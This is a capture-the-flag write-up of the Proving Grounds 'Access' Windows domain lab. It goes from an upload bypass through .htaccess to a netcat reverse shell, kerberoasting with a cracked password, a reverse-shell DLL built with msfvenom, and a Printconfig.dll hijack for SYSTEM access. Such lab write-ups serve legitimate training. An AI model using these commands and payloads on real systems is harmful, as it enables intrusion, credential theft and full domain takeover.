Proving grounds Practice - Access CTF writeup.
Walkthough on Youtube
Nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-16 07:12:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
49773/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Fuzzing
Directories
/uploads
/assets
/icons
/forms
File Upload Vulnerability
Upload a .htaccess file to overwrite the file upload configuration in the apache.
Content of .htacess file
AddType application/x-httpd-php .evil
Upload the php remote code execution code to the server with extension as rce.evil
RCE
- Upload netcat windows binary to the server.
- Obtain reverse shell by executing netcat command.
- Transfer PowerView.ps1 to the attacking machine.
Extract Users Information
-------------------------------------------------------------------------------
Administrator Guest krbtgt
svc_apache svc_mssql
The command completed successfully.
Kerberos Abuse
The user svc_mssql has Service Principal Name, hence kerberoasting takes place.
serviceprincipalname : MSSQLSvc/DC.access.offsec
Run as below to obtain NTLM Hash.
PS C:\xampp\tmp> .\Rubeus.exe kerberoast /nowrap
Copy the hash and crack it using john.
Crack the hash
Transfer Invoke-Runas.ps1 to the attacking machine. The script will allow us to run commands as certain users in the system using the username and password.
Obtain revese shell for user svc_mssql by using the invoke command to trigger the netcat reverse shell.
Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs svc_mssql trustno1 'C:\xampp\htdocs\uploads\nc.exe <IP> 4444 -e cmd.exe'
Privilege Escalation
Abuse SeChangeNotifyPrivilege.
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Bypass traverse checking allows us to perform seManageVolumeAbuse by performing dll hijacking.
Transfer the binary to the remote machine and run as svc_mssql user.
PS C:\xampp\tmp> .\SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
Entries changed: 916
DONE
Create a dll file with windows reverse shell.
msfvenom -f dll -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=9090 -o Printconfig.dll
Transfer the dll file to the attacking machine and overwrite the file to the below location.
C:\Windows\system32\spool\drivers\x64\3\Printconfig.dll
Switch to powershell and use the below trigger to obtain root.
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)
Root shell Obtained
Thanks for reading!
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